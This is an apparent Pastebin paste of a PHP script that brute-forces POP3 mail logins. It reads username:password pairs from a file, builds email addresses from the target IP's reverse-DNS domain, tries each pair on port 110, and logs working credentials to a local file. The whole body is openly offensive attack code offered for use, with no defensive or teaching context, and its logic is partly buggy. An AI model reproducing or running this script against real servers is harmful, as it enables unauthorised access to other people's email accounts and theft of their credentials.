Advertisement
Guest User

Untitled

a guest
Jul 21st, 2012
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.51 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. function POPa($username, $password, $server) {
  4. $socket = fsockopen($server, 110); // POP3 port
  5. if (!$socket) {
  6. return "cracked";
  7.  
  8. }
  9.  
  10. $res = fgets($socket, 512); // read +OK
  11. if (substr(trim($res), 0, 3) != "+OK") {
  12. return "cracked"; // return the error
  13. }
  14. fputs($socket, "USER $username\r\n"); // send user
  15. $res = fgets($socket, 512); // read +OK
  16. if (substr(trim($res), 0, 3) != "+OK") {
  17. return "cracked";
  18. }
  19. fputs($socket, "PASS $password\r\n"); // send pass
  20. $res = fgets($socket, 512); // read +OK
  21. if (substr(trim($res), 0, 3) != "+OK") {
  22. return $res;
  23. }
  24. fputs($socket, "QUIT\r\n"); // quit
  25.  
  26. fclose($socket);
  27. $fp = fopen("vuln.asl", "a");
  28. $infosmtp=$server.",".$username.",".$password."\n\n";
  29. fwrite($fp,$infosmtp);
  30. fclose($fp);
  31. return "cracked";
  32. }
  33.  
  34. //SET INITIAL LOAD
  35. $ip = $argv[1];
  36.  
  37. //READ USER/PASS FILE
  38. $fp = fopen("pass_file", "r");
  39. $i = 1;
  40. $c2= 1;
  41. while (!feof($fp)) {
  42. $propozitie = fgets($fp, 4096);
  43. $propozitie = explode(":", $propozitie);
  44. $domaine = preg_match('/[^.]+\.[^.]+$/', gethostbyaddr($ip), $matches);
  45. echo "domain name is: {$matches[0]}\n";
  46. $user[$i] = $propozitie[0]."@".$matches[0];
  47. @$pass[$i] = $propozitie[1];
  48. $i = $i + 1;
  49. $c2 = $c2 + 1;
  50. }
  51. fclose($fp);
  52.  
  53. //Do BRUTE-FORCE ATACK
  54. $x = 1;
  55. $chestie = "not";
  56. //Do BRUTE-FORCE ATACK
  57. $x = 1;
  58. $chestie = "not";
  59.  
  60. while (( $x < $c2 ) and ( $chestie != "cracked" )) {
  61. $chestie = POPa($user[$x], $pass[$x], $ip);
  62. if ( $chestie == "cracked" ) {
  63. $quit = 1;
  64. }
  65. $x = $x + 1;
  66. }
  67.  
  68. //SET END LOAD
  69.  
  70.  
  71. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement